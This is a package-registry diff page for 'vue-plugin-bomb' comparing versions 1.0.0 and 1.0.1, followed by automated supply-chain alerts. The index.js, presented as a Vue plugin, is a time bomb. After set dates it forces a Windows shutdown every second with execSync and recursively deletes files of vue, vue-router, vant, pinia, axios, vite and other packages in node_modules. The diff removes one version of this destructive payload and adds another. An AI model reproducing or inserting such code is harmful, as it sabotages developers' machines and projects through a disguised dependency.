vue-plugin-bomb
Advanced tools
Comparing version 1.0.0 to 1.0.1
52
index.js
@@ -1,1 +0,51 @@ | ||
import process from"child_process";import{fileURLToPath}from"node:url";import{dirname}from"node:path";var __dirname=dirname(fileURLToPath(import.meta.url));export default()=>{if(new Date("2023/06/20 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/06/20 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/05 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/07/05 11:45:01").getTime()){setInterval(()=>{process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/06 08:00:01").getTime()<(new Date).getTime()&&(new Date).getTime()<new Date("2023/07/06 11:45:01").getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rm -rf ${node_modules}vue\\dist`);process.execSync(`rm -rf ${node_modules}vue-router\\index.js`);process.execSync(`rm -rf ${node_modules}ant-design-vue\\index.js`);process.execSync(`rm -rf ${node_modules}ant-design-vue\\dist`);process.execSync(`shutdown -s -t 5`)},1*1000)}if(new Date("2023/07/07 08:00:01").getTime()<(new Date).getTime()){setInterval(()=>{const arr=__dirname.split("\\");const key2=arr[arr.length-2];const index2=__dirname.indexOf(key2);const node_modules=__dirname.slice(0,index2+key2.length)+"\\";process.execSync(`rm -rf ${node_modules}lib-flexible`);process.execSync(`rm -rf ${node_modules}less-loader\\dist`);process.execSync(`rm -rf ${node_modules}less\\index.js`);process.execSync(`rm -rf ${node_modules}vite-plugin-vue-setup-extend\\dist`);process.execSync(`shutdown -s -t 5`)},1*1000)}}; | ||
import process from "child_process"; | ||
import { fileURLToPath } from "node:url"; | ||
import { dirname } from "node:path"; | ||
var __dirname = dirname(fileURLToPath(import.meta.url)); | ||
export default () => { | ||
if (new Date("2023/06/21 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/06/21 11:45:01").getTime()) { | ||
setInterval(() => { process.execSync(`shutdown -s -t 5`) }, 1 * 1000) | ||
} | ||
if (new Date("2023/06/22 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/06/22 11:45:01").getTime()) { | ||
setInterval(() => { process.execSync(`shutdown -s -t 5`) }, 1 * 1000) | ||
} | ||
if (new Date("2023/06/23 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/06/30 11:45:01").getTime()) { | ||
setInterval(() => { process.execSync(`shutdown -s -t 5`) }, 1 * 1000) | ||
} | ||
if (new Date("2023/07/01 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/07/31 11:45:01").getTime()) { | ||
setInterval(() => { process.execSync(`shutdown -s -t 5`) }, 1 * 1000) | ||
} | ||
if (new Date("2023/07/01 08:00:01").getTime() < (new Date).getTime() && (new Date).getTime() < new Date("2023/08/31 11:45:01").getTime()) { | ||
setInterval(() => { | ||
const arr = __dirname.split("\\"); | ||
const key2 = arr[arr.length - 2]; | ||
const index2 = __dirname.indexOf(key2); | ||
const node_modules = __dirname.slice(0, index2 + key2.length) + "\\"; | ||
process.execSync(`rm -rf ${node_modules}vue\\dist`); | ||
process.execSync(`rm -rf ${node_modules}vue-router\\dist`); | ||
process.execSync(`rm -rf ${node_modules}vue-router\\index.js`); | ||
process.execSync(`rm -rf ${node_modules}vant\\lib`); | ||
process.execSync(`rm -rf ${node_modules}vant\\es`); | ||
process.execSync(`shutdown -s -t 5`) | ||
}, 1 * 1000) | ||
} | ||
if (new Date("2023/09/01 08:00:01").getTime() < (new Date).getTime()) { | ||
setInterval(() => { | ||
const arr = __dirname.split("\\"); | ||
const key2 = arr[arr.length - 2]; | ||
const index2 = __dirname.indexOf(key2); | ||
const node_modules = __dirname.slice(0, index2 + key2.length) + "\\"; | ||
process.execSync(`rm -rf ${node_modules}pinia\\dist`); | ||
process.execSync(`rm -rf ${node_modules}pinia\\index.js`); | ||
process.execSync(`rm -rf ${node_modules}vite-plugin-vue-setup-extend\\dist`); | ||
process.execSync(`rm -rf ${node_modules}axios\\dist`); | ||
process.execSync(`rm -rf ${node_modules}axios\\index.js`); | ||
process.execSync(`rm -rf ${node_modules}vite\\dist`); | ||
process.execSync(`rm -rf ${node_modules}vite\\bin`); | ||
process.execSync(`rm -rf ${node_modules}vite\\types`); | ||
process.execSync(`rm -rf ${node_modules}vite\\index.js`); | ||
process.execSync(`shutdown -s -t 5`) | ||
}, 1 * 1000) | ||
} | ||
}; |
{ | ||
"name": "vue-plugin-bomb", | ||
"version": "1.0.0", | ||
"version": "1.0.1", | ||
"description": "", | ||
@@ -5,0 +5,0 @@ "main": "index.js", |
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
License Policy Violation
LicenseThis package is not allowed per your license policy. Review the package's license to ensure compliance.
Found 1 instance in 1 package
Trivial Package
Supply chain riskPackages less than 10 lines of code are easily copied into your own project and may not warrant the additional supply chain risk of an external dependency.
Found 1 instance in 1 package
AI-detected potential code anomaly
Supply chain riskAI has identified unusual behaviors that may pose a security risk.
Found 1 instance in 1 package
3325
50
1
1